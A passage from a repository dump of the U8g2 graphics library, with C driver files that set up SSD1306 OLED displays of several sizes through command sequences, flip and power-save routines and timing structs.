1291 */ static const uint8_t u8x8_d_ssd1306_2040x16_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x03f), /* multiplex ratio, 0.71 OLED: changed from 0x2f to 0x3f */ U8X8_CA(0x0d3, 0x000), /* display offset, 0.71 OLED */ U8X8_C(0x040), /* set display start line to 0, 0.71 OLED */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.71 OLED 0x14*/ /// according to the datasheet, 0x00 is NOT page addressing mode, but horizontal addressing mode; /// so it looks like u8g2 expects horizontal addressing (and the inline comment is wrong) while the Winstar example /// actually uses page addressing (which is the reset default) U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1, 0.71 OLED */ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse, 0.71 OLED */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.71 OLED */ U8X8_CA(0x081, 0x07f), /* [2] set contrast control, 0.71 OLED datasheet: 0x7f */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1, 0.71 OLED datasheet: 0x22 */ U8X8_CA(0x0db, 0x040), /* vcomh deselect level, 0.71 OLED datasheet: 0x40 */ // U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_2040x16_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_2040x16_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_2040x16_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_2040x16_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1306_2040x16_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch (msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_2040x16_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_2040x16_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if (arg_int == 0) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_2040x16_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_2040x16_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if (arg_int == 0) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_2040x16_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_2040x16_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081); u8x8_cad_SendArg(u8x8, arg_int); /* ssd1306 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *) arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4)); u8x8_cad_SendCmd(u8x8, 0x000 | ((x & 15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *) arg_ptr)->y_pos)); do { c = ((u8x8_tile_t *) arg_ptr)->cnt; ptr = ((u8x8_tile_t *) arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c * 8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while (arg_int > 0); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ssd1306_2040x16_display_info = { /* chip_enable_level = */0, /* chip_disable_level = */1, /* post_chip_enable_wait_ns = */20, /* pre_chip_disable_wait_ns = */10, /* reset_pulse_width_ms = */100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */4, /* data_setup_time_ns = */40, /* write_pulse_width_ns = */150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */255, /* tile_height = */2, /* default_x_offset = */0, /* flipmode_x_offset = */0, /* pixel_width = */2040, /* pixel_height = */16 }; uint8_t u8x8_d_ssd1306_2040x16(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if (msg == U8X8_MSG_DISPLAY_SETUP_MEMORY) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_2040x16_display_info); return 1; } else if (msg == U8X8_MSG_DISPLAY_INIT) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_2040x16_init_seq); return 1; } return u8x8_d_ssd1306_2040x16_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_48x64.c ================================================ /* u8x8_d_ssd1306_48x64_winstar.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* Winstar 0.71 OLED */ static const uint8_t u8x8_d_ssd1306_48x64_winstar_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x03f), /* multiplex ratio, 0.71 OLED: changed from 0x2f to 0x3f */ U8X8_CA(0x0d3, 0x000), /* display offset, 0.71 OLED */ U8X8_C(0x040), /* set display start line to 0, 0.71 OLED */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.71 OLED 0x14*/ /// according to the datasheet, 0x00 is NOT page addressing mode, but horizontal addressing mode; /// so it looks like u8g2 expects horizontal addressing (and the inline comment is wrong) while the Winstar example /// actually uses page addressing (which is the reset default) U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1, 0.71 OLED */ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse, 0.71 OLED */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.71 OLED */ U8X8_CA(0x081, 0x07f), /* [2] set contrast control, 0.71 OLED datasheet: 0x7f */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1, 0.71 OLED datasheet: 0x22 */ U8X8_CA(0x0db, 0x040), /* vcomh deselect level, 0.71 OLED datasheet: 0x40 */ // U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_48x64_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_48x64_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_48x64_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_48x64_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1306_48x64_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch (msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_48x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_48x64_winstar_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if (arg_int == 0) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_48x64_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_48x64_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if (arg_int == 0) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_48x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_48x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081); u8x8_cad_SendArg(u8x8, arg_int); /* ssd1306 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *) arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4)); u8x8_cad_SendCmd(u8x8, 0x000 | ((x & 15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *) arg_ptr)->y_pos)); do { c = ((u8x8_tile_t *) arg_ptr)->cnt; ptr = ((u8x8_tile_t *) arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c * 8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while (arg_int > 0); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ssd1306_48x64_display_info = { /* chip_enable_level = */0, /* chip_disable_level = */1, /* post_chip_enable_wait_ns = */20, /* pre_chip_disable_wait_ns = */10, /* reset_pulse_width_ms = */100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */4, /* data_setup_time_ns = */40, /* write_pulse_width_ns = */150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */6, /* tile_height = */8, /* default_x_offset = */40, /* flipmode_x_offset = */40, /* pixel_width = */48, /* pixel_height = */64 }; /* Winstar 0.71" OLED */ uint8_t u8x8_d_ssd1306_48x64_winstar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if (msg == U8X8_MSG_DISPLAY_SETUP_MEMORY) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_48x64_display_info); return 1; } else if (msg == U8X8_MSG_DISPLAY_INIT) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_48x64_winstar_init_seq); return 1; } return u8x8_d_ssd1306_48x64_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_64x32.c ================================================ /* u8x8_d_ssd1306_64x32.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_ssd1306_64x32_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_64x32_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_64x32_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_64x32_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1306_64x32_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_64x32_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_noname_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1306 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*======================================================*/ static const u8x8_display_info_t u8x8_ssd1306_64x32_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 8, /* tile_height = */ 4, /* default_x_offset = */ 32, /* flipmode_x_offset = */ 32, /* pixel_width = */ 64, /* pixel_height = */ 32 }; /*======================================================*/ static const uint8_t u8x8_d_ssd1306_64x32_noname_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x02f), /* multiplex ratio: changed from 0x1f to 0x2f */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable */ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1 */ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x0cf), /* [2] set contrast control datasheet: 0xcf */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1 */ U8X8_CA(0x0db, 0x000), /* vcomh deselect level */ U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1306_64x32_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_64x32_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_noname_init_seq); return 1; } return u8x8_d_ssd1306_64x32_generic(u8x8, msg, arg_int, arg_ptr); } /*======================================================*/ static const uint8_t u8x8_d_ssd1306_64x32_1f_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x01f), /* multiplex ratio: changed from 0x1f to 0x2f, 23 Sep 17: changed back to 1f */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable */ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1 */ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x0cf), /* [2] set contrast control datasheet: 0xcf */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1 */ U8X8_CA(0x0db, 0x000), /* vcomh deselect level */ U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1306_64x32_1f(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_64x32_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x32_1f_init_seq); return 1; } return u8x8_d_ssd1306_64x32_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_64x48.c ================================================ /* u8x8_d_ssd1306_64x48.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* EastRising 0.66 OLED */ static const uint8_t u8x8_d_ssd1306_64x48_er_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x02f), /* multiplex ratio, 0.66 OLED: changed from 0x1f to 0x2f */ U8X8_CA(0x0d3, 0x000), /* display offset, 0.66 OLED */ U8X8_C(0x040), /* set display start line to 0, 0.66 OLED */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.66 OLED 0x14*/ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1, 0.66 OLED */ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse, 0.66 OLED */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.66 OLED */ U8X8_CA(0x081, 0x0cf), /* [2] set contrast control, 0.66 OLED datasheet: 0xcf */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1, 0.66 OLED datasheet: 0x22 */ U8X8_CA(0x0db, 0x000), /* vcomh deselect level, 0.66 OLED datasheet: 0x00 */ U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_64x48_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_64x48_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_64x48_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_64x48_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap 